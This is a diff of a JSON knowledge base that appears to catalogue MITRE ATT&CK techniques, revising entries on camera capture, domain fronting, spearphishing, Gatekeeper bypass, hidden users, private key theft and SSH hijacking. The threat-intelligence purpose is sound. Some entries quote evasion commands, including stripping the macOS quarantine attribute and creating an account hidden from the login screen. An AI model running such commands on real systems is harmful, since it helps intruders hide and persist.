"https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread", "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780" ] }, @@ -24158,25 +21552,7 @@ "value": "Data Encoding - T1132" }, { - "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", - "meta": { - "external_id": "T1521", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1521" - ] - }, - "uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", - "value": "Encrypted Channel - T1521" - }, - { - "description": "An adversary can leverage a device’s cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files. \n\n \n\nMalware or scripts may interact with the device cameras through an available API provided by the operating system. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1513) due to use of the device’s cameras for video recording rather than capturing the victim’s screen. \n\n \n\nIn Android, an application must hold the `android.permission.CAMERA` permission to access the cameras. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file. In both cases, the user must grant permission to the requesting application to use the camera. If the device has been rooted or jailbroken, an adversary may be able to access the camera without knowledge of the user. ", + "description": "Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.", "meta": { "external_id": "APP-19", "kill_chain": [ @@ -24192,7 +21568,7 @@ ] }, "uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", - "value": "Video Capture - T1512" + "value": "Capture Camera - T1512" }, { "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", @@ -24207,8 +21583,7 @@ ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1125", @@ -24223,12 +21598,6 @@ "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).", "meta": { "external_id": "CAPEC-564", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1162", "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", @@ -24253,14 +21622,6 @@ "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "meta": { "external_id": "T1172", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://www.icir.org/vern/papers/meek-PETS-2015.pdf", "https://attack.mitre.org/techniques/T1172" @@ -24282,13 +21643,6 @@ "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "meta": { "external_id": "T1182", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1182", "https://forum.sysinternals.com/appcertdlls_topic12546.html", @@ -24312,16 +21666,6 @@ "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", "meta": { "external_id": "CAPEC-163", - "kill_chain": [ - "mitre-attack:initial-access" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux", - "Office 365", - "SaaS" - ], "refs": [ "https://attack.mitre.org/techniques/T1192", "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", @@ -24341,7 +21685,7 @@ "value": "Spearphishing Link - T1192" }, { - "description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.", + "description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.", "meta": { "external_id": "T1129", "kill_chain": [ @@ -24389,13 +21733,6 @@ "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n", "meta": { "external_id": "T1143", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1143", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", @@ -24415,7 +21752,7 @@ "value": "Hidden Window - T1143" }, { - "description": "Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015) ", + "description": "Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)", "meta": { "external_id": "APP-40", "kill_chain": [ @@ -24466,36 +21803,10 @@ "uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", "value": "Create Account - T1136" }, - { - "description": "Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nBoth Android and iOS have no legitimate way to achieve process injection. The only way this is possible is by abusing existing root access or exploiting a vulnerability.", - "meta": { - "external_id": "T1631", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion", - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1631" - ] - }, - "uuid": "b7c0e45f-0206-4f75-96e7-fe7edad3aaff", - "value": "Process Injection - T1631" - }, { "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", "meta": { "external_id": "T1138", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1138", "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", @@ -24532,14 +21843,6 @@ "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "meta": { "external_id": "CAPEC-163", - "kill_chain": [ - "mitre-attack:initial-access" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], "refs": [ "https://attack.mitre.org/techniques/T1193", "https://capec.mitre.org/data/definitions/163.html" @@ -24561,13 +21864,6 @@ "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", "meta": { "external_id": "T1139", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "https://attack.mitre.org/techniques/T1139" @@ -24589,12 +21885,6 @@ "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)", "meta": { "external_id": "T1144", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1144", "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/", @@ -24615,36 +21905,12 @@ "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e", "value": "Gatekeeper Bypass - T1144" }, - { - "description": "Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device.(Citation: Fahl-Clipboard) \n\n \n\nOn Android, applications can use the `ClipboardManager.OnPrimaryClipChangedListener()` API to register as a listener and monitor the clipboard for changes. However, starting in Android 10, this can only be used if the application is in the foreground, or is set as the device’s default input method editor (IME).(Citation: Github Capture Clipboard 2019)(Citation: Android 10 Privacy Changes) \n\n \n\nOn iOS, this can be accomplished by accessing the `UIPasteboard.general.string` field. However, starting in iOS 14, upon accessing the clipboard, the user will be shown a system notification if the accessed text originated in a different application. For example, if the user copies the text of an iMessage from the Messages application, the notification will read “application_name has pasted from Messages” when the text was pasted in a different application.(Citation: UIPPasteboard)", - "meta": { - "external_id": "APP-35", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://saschafahl.de/static/paper/pwmanagers2013.pdf", - "https://attack.mitre.org/techniques/T1414", - "https://developer.android.com/about/versions/10/privacy/changes#clipboard-data", - "https://developer.apple.com/documentation/uikit/uipasteboard", - "https://github.com/grepx/android-clipboard-security", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html" - ] - }, - "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", - "value": "Clipboard Data - T1414" - }, { "description": "Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)\n\nMalicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)\n\nMalicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)", "meta": { "external_id": "APP-19", "kill_chain": [ - "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:collection", "mitre-mobile-attack:persistence" ], "mitre_platforms": [ @@ -24666,14 +21932,6 @@ "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)", "meta": { "external_id": "T1145", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1145", "https://en.wikipedia.org/wiki/Public-key_cryptography", @@ -24694,7 +21952,7 @@ "value": "Private Keys - T1145" }, { - "description": "An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen. Several methods exist to accomplish this, including:\n\n* Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device’s passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.(Citation: SRLabs-Fingerprint)(Citation: TheSun-FaceID)\n* Unlock code bypass: An adversaries could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (“shoulder surfing”) the device owner’s use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.\n* Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.(Citation: Wired-AndroidBypass)(Citation: Kaspersky-iOSBypass)\n", + "description": "An adversary with physical access to a mobile device may seek to bypass the device's lockscreen.\n\n### Biometric Spoofing\nIf biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.\n\n### Device Unlock Code Guessing or Brute Force\nAn adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (\"shoulder surfing\") the device owner's use of the lockscreen passcode. \n\n### Exploit Other Device Lockscreen Vulnerabilities\nTechniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.", "meta": { "external_id": "T1461", "kill_chain": [ @@ -24707,6 +21965,8 @@ "refs": [ "https://attack.mitre.org/techniques/T1461", "https://srlabs.de/bites/spoofing-fingerprints/", + "https://support.apple.com/en-us/HT204587", + "https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/", "https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/", "https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/", "https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/" @@ -24715,23 +21975,6 @@ "uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", "value": "Lockscreen Bypass - T1461" }, - { - "description": "Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application, process, and the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.", - "meta": { - "external_id": "T1641", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1641" - ] - }, - "uuid": "c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", - "value": "Data Manipulation - T1641" - }, { "description": "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.\n\nApplications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)", "meta": { @@ -24749,22 +21992,14 @@ "https://tools.ietf.org/html/rfc7636" ] }, - "related": [ - { - "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", "value": "URI Hijacking - T1416" }, { - "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal device usage, users often provide credentials to various locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Keylogging](https://attack.mitre.org/techniques/T1417/001)) or rely on deceiving the user into providing input into what they believe to be a genuine application prompt (e.g. [GUI Input Capture](https://attack.mitre.org/techniques/T1417/002)).", + "description": "Adversaries may capture user input to obtain credentials or other information from the user through various methods.\n\nMalware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n\nOn Android, malware may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed.\n\nAdditional methods of keylogging may be possible if root access is available.", "meta": { - "external_id": "AUT-13", + "external_id": "T1417", "kill_chain": [ "mitre-mobile-attack:collection", "mitre-mobile-attack:credential-access" @@ -24775,8 +22010,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1417", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html" + "https://zeltser.com/third-party-keyboards-security/" ] }, "uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", @@ -24786,15 +22020,9 @@ "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).", "meta": { "external_id": "T1147", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ - "https://attack.mitre.org/techniques/T1147", - "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" + "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", + "https://attack.mitre.org/techniques/T1147" ] }, "related": [ @@ -24810,10 +22038,11 @@ "value": "Hidden Users - T1147" }, { - "description": "Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1418) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions. \n\n \n\nAdversaries may attempt to enumerate applications for a variety of reasons, such as figuring out what security measures are present or to identify the presence of target applications. ", + "description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.", "meta": { - "external_id": "APP-12", + "external_id": "T1418", "kill_chain": [ + "mitre-mobile-attack:defense-evasion", "mitre-mobile-attack:discovery" ], "mitre_platforms": [ @@ -24821,24 +22050,18 @@ "iOS" ], "refs": [ + "https://andreas-kurtz.de/2014/09/malicious-ios-apps/", "https://attack.mitre.org/techniques/T1418", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html" + "https://developer.android.com/reference/android/content/pm/PackageManager.html" ] }, "uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", - "value": "Software Discovery - T1418" + "value": "Application Discovery - T1418" }, { "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid 